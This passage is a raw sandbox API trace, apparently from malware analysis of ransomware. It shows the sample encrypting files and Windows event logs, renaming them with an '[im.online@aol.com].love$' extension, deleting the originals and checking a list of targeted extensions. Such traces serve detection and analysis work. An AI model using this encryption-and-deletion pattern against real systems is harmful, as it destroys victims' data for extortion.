"c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-b4197730.[im.online@aol.com].love$")) returned 1 [0108.117] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0108.117] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fc64 | out: lpNewFilePointer=0x0) returned 1 [0108.117] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fc24 | out: lpNewFilePointer=0x0) returned 1 [0108.117] ReadFile (in: hFile=0x358, lpBuffer=0x34c6058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x295fc30, lpOverlapped=0x0 | out: lpBuffer=0x34c6058*, lpNumberOfBytesRead=0x295fc30*=0x40000, lpOverlapped=0x0) returned 1 [0108.122] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x19e5ef, lpNewFilePointer=0x0, dwMoveMethod=0x295fc24 | out: lpNewFilePointer=0x0) returned 1 [0108.122] ReadFile (in: hFile=0x358, lpBuffer=0x3506058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x295fc30, lpOverlapped=0x0 | out: lpBuffer=0x3506058*, lpNumberOfBytesRead=0x295fc30*=0x40000, lpOverlapped=0x0) returned 1 [0108.129] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x295fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0108.129] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x49b1ce, lpNewFilePointer=0x0, dwMoveMethod=0x295fc24 | out: lpNewFilePointer=0x0) returned 1 [0108.129] ReadFile (in: hFile=0x358, lpBuffer=0x3546058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x295fc30, lpOverlapped=0x0 | out: lpBuffer=0x3546058*, lpNumberOfBytesRead=0x295fc30*=0x40000, lpOverlapped=0x0) returned 1 [0108.149] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0108.149] WriteFile (in: hFile=0x358, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x295fca8, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fca8*=0xc012e, lpOverlapped=0x0) returned 1 [0108.411] SetEndOfFile (hFile=0x358) returned 1 [0108.411] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f33ea8 [0108.665] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fc74 | out: lpNewFilePointer=0x0) returned 1 [0108.665] WriteFile (in: hFile=0x358, lpBuffer=0x3f33ea8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x295fc80, lpOverlapped=0x0 | out: lpBuffer=0x3f33ea8*, lpNumberOfBytesWritten=0x295fc80*=0x40000, lpOverlapped=0x0) returned 1 [0108.668] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x19e5ef, lpNewFilePointer=0x0, dwMoveMethod=0x295fc74 | out: lpNewFilePointer=0x0) returned 1 [0108.668] WriteFile (in: hFile=0x358, lpBuffer=0x3f33ea8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x295fc80, lpOverlapped=0x0 | out: lpBuffer=0x3f33ea8*, lpNumberOfBytesWritten=0x295fc80*=0x40000, lpOverlapped=0x0) returned 1 [0108.670] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x49b1ce, lpNewFilePointer=0x0, dwMoveMethod=0x295fc74 | out: lpNewFilePointer=0x0) returned 1 [0108.670] WriteFile (in: hFile=0x358, lpBuffer=0x3f33ea8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x295fc80, lpOverlapped=0x0 | out: lpBuffer=0x3f33ea8*, lpNumberOfBytesWritten=0x295fc80*=0x40000, lpOverlapped=0x0) returned 1 [0108.673] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0108.673] CloseHandle (hObject=0x358) returned 1 [0112.222] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0112.222] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0112.222] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0112.222] lstrlenW (lpString=".doc") returned 4 [0112.222] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0112.222] lstrlenW (lpString=".docx") returned 5 [0112.222] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0112.222] lstrlenW (lpString=".pdf") returned 4 [0112.223] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0112.223] lstrlenW (lpString=".xls") returned 4 [0112.223] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0112.223] lstrlenW (lpString=".xlsx") returned 5 [0112.223] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0112.223] lstrlenW (lpString=".ppt") returned 4 [0112.223] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0112.223] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0112.223] lstrlenW (lpString=".zip") returned 4 [0112.223] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0112.223] lstrlenW (lpString=".rar") returned 4 [0112.223] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0112.223] lstrlenW (lpString=".bz2") returned 4 [0112.223] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0112.223] lstrlenW (lpString=".7z") returned 3 [0112.223] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0112.223] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0112.223] lstrlenW (lpString=".dbf") returned 4 [0112.223] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0112.223] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0112.268] lstrlenW (lpString=".1cd") returned 4 [0112.268] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0112.268] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0112.268] lstrlenW (lpString=".jpg") returned 4 [0112.268] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0112.269] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0112.269] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0112.269] lstrlenW (lpString=".doc") returned 4 [0112.269] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0112.269] lstrlenW (lpString=".docx") returned 5 [0112.269] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0112.269] lstrlenW (lpString=".pdf") returned 4 [0112.269] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0112.269] lstrlenW (lpString=".xls") returned 4 [0112.269] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0112.269] lstrlenW (lpString=".xlsx") returned 5 [0112.269] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0112.269] lstrlenW (lpString=".ppt") returned 4 [0112.269] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0112.269] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0112.269] lstrlenW (lpString=".zip") returned 4 [0112.269] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0112.279] lstrlenW (lpString=".rar") returned 4 [0112.279] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0112.279] lstrlenW (lpString=".bz2") returned 4 [0112.279] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0112.279] lstrlenW (lpString=".7z") returned 3 [0112.279] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0112.279] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0112.279] lstrlenW (lpString=".dbf") returned 4 [0112.279] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0112.279] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0112.279] lstrlenW (lpString=".1cd") returned 4 [0112.279] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0112.279] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0112.279] lstrlenW (lpString=".jpg") returned 4 [0112.279] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0112.279] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0112.279] lstrlenW (lpString="Internet Explorer.evtx") returned 22 [0112.279] CreateFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0112.280] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=69632) returned 1 [0112.281] CloseHandle (hObject=0x354) returned 1 [0112.281] GetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx")) returned 0x20 [0112.281] GetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\internet explorer.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0112.281] CreateFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0112.281] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.281] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.281] CreateFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\internet explorer.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0112.282] GetLastError () returned 0x0 [0112.282] ReadFile (in: hFile=0x354, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x11000, lpOverlapped=0x0) returned 1 [0112.289] WriteFile (in: hFile=0x344, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x11010, lpOverlapped=0x0) returned 1 [0112.291] ReadFile (in: hFile=0x354, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0112.291] WriteFile (in: hFile=0x344, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x100, lpOverlapped=0x0) returned 1 [0112.291] SetEndOfFile (hFile=0x344) returned 1 [0112.291] CloseHandle (hObject=0x344) returned 1 [0112.296] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.296] SetEndOfFile (hFile=0x354) returned 1 [0112.298] CloseHandle (hObject=0x354) returned 1 [0112.298] SetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0112.298] DeleteFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx")) returned 1 [0112.298] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0112.298] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0112.298] lstrlenW (lpString=".doc") returned 4 [0112.299] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0112.299] lstrlenW (lpString=".docx") returned 5 [0112.299] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0112.299] lstrlenW (lpString=".pdf") returned 4 [0112.299] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0112.299] lstrlenW (lpString=".xls") returned 4 [0112.299] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0112.299] lstrlenW (lpString=".xlsx") returned 5 [0112.299] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0112.299] lstrlenW (lpString=".ppt") returned 4 [0112.299] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0112.299] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0112.299] lstrlenW (lpString=".zip") returned 4 [0112.299] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0112.299] lstrlenW (lpString=".rar") returned 4 [0112.299] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0112.299] lstrlenW (lpString=".bz2") returned 4 [0112.299] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0112.299] lstrlenW (lpString=".7z") returned 3 [0112.299] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0112.299] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0112.299] lstrlenW (lpString=".dbf") returned 4 [0112.299] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0112.299] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0112.299] lstrlenW (lpString=".1cd") returned 4 [0112.299] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0112.299] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0112.299] lstrlenW (lpString=".jpg") returned 4 [0112.299] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0112.299] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0112.299] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0112.299] lstrlenW (lpString=".doc") returned 4 [0112.300] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0112.300] lstrlenW (lpString=".docx") returned 5 [0112.300] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0112.300] lstrlenW (lpString=".pdf") returned 4 [0112.300] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0112.300] lstrlenW (lpString=".xls") returned 4 [0112.300] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0112.300] lstrlenW (lpString=".xlsx") returned 5 [0112.300] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0112.300] lstrlenW (lpString=".ppt") returned 4 [0112.300] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0112.300] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0112.300] lstrlenW (lpString=".zip") returned 4 [0112.300] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0112.300] lstrlenW (lpString=".rar") returned 4 [0112.300] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0112.300] lstrlenW (lpString=".bz2") returned 4 [0112.300] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0112.300] lstrlenW (lpString=".7z") returned 3 [0112.300] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0112.300] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0112.300] lstrlenW (lpString=".dbf") returned 4 [0112.300] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0112.300] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0112.300] lstrlenW (lpString=".1cd") returned 4 [0112.300] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0112.300] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0112.300] lstrlenW (lpString=".jpg") returned 4 [0112.300] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0112.300] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0112.301] lstrlenW (lpString="Key Management Service.evtx") returned 27 [0112.301] CreateFileW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0112.301] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=69632) returned 1 [0112.301] CloseHandle (hObject=0x354) returned 1 [0112.301] GetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx")) returned 0x20 [0112.301] GetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\key management service.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0112.301] CreateFileW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0112.301] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.301] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.301] CreateFileW (lpFileName="C:\\Logs\\Key Management Service.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\key management service.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0112.302] GetLastError () returned 0x0 [0112.302] ReadFile (in: hFile=0x354, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x11000, lpOverlapped=0x0) returned 1 [0112.308] WriteFile (in: hFile=0x344, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x11010, lpOverlapped=0x0) returned 1 [0112.310] ReadFile (in: hFile=0x354, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0112.311] WriteFile (in: hFile=0x344, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x10a, lpOverlapped=0x0) returned 1 [0112.311] SetEndOfFile (hFile=0x344) returned 1 [0112.311] CloseHandle (hObject=0x344) returned 1 [0112.316] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.316] SetEndOfFile (hFile=0x354) returned 1 [0112.318] CloseHandle (hObject=0x354) returned 1 [0112.318] SetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0112.318] DeleteFileW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx")) returned 1 [0112.318] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0112.318] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0112.318] lstrlenW (lpString=".doc") returned 4 [0112.318] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0112.318] lstrlenW (lpString=".docx") returned 5 [0112.318] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0112.318] lstrlenW (lpString=".pdf") returned 4 [0112.318] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0112.318] lstrlenW (lpString=".xls") returned 4 [0112.319] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0112.319] lstrlenW (lpString=".xlsx") returned 5 [0112.319] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0112.319] lstrlenW (lpString=".ppt") returned 4 [0112.319] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0112.319] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0112.319] lstrlenW (lpString=".zip") returned 4 [0112.319] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0112.319] lstrlenW (lpString=".rar") returned 4 [0112.319] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0112.319] lstrlenW (lpString=".bz2") returned 4 [0112.319] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0112.319] lstrlenW (lpString=".7z") returned 3 [0112.319] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0112.319] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0112.319] lstrlenW (lpString=".dbf") returned 4 [0112.319] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0112.319] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0112.319] lstrlenW (lpString=".1cd") returned 4 [0112.319] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0112.319] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0112.319] lstrlenW (lpString=".jpg") returned 4 [0112.319] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0112.319] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0112.319] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0112.319] lstrlenW (lpString=".doc") returned 4 [0112.319] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0112.319] lstrlenW (lpString=".docx") returned 5 [0112.319] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0112.319] lstrlenW (lpString=".pdf") returned 4 [0112.319] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0112.319] lstrlenW (lpString=".xls") returned 4 [0112.319] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0112.320] lstrlenW (lpString=".xlsx") returned 5 [0112.320] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0112.320] lstrlenW (lpString=".ppt") returned 4 [0112.890] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0112.890] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0112.890] lstrlenW (lpString=".zip") returned 4 [0112.890] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0112.890] lstrlenW (lpString=".rar") returned 4 [0112.890] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0112.890] lstrlenW (lpString=".bz2") returned 4 [0112.891] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0112.891] lstrlenW (lpString=".7z") returned 3 [0112.891] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0112.891] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0112.891] lstrlenW (lpString=".dbf") returned 4 [0112.925] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0112.925] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0112.925] lstrlenW (lpString=".1cd") returned 4 [0112.925] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0112.925] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0112.925] lstrlenW (lpString=".jpg") returned 4 [0112.925] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0112.925] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0112.925] lstrlenW (lpString="Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 45 [0112.926] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0113.196] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=69632) returned 1 [0113.196] CloseHandle (hObject=0x394) returned 1 [0113.196] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx")) returned 0x20 [0113.196] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0113.196] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0113.196] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.196] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.197] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0113.711] GetLastError () returned 0x0 [0113.711] ReadFile (in: hFile=0x394, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x11000, lpOverlapped=0x0) returned 1 [0113.715] WriteFile (in: hFile=0x354, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x11010, lpOverlapped=0x0) returned 1 [0113.718] ReadFile (in: hFile=0x394, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x0, 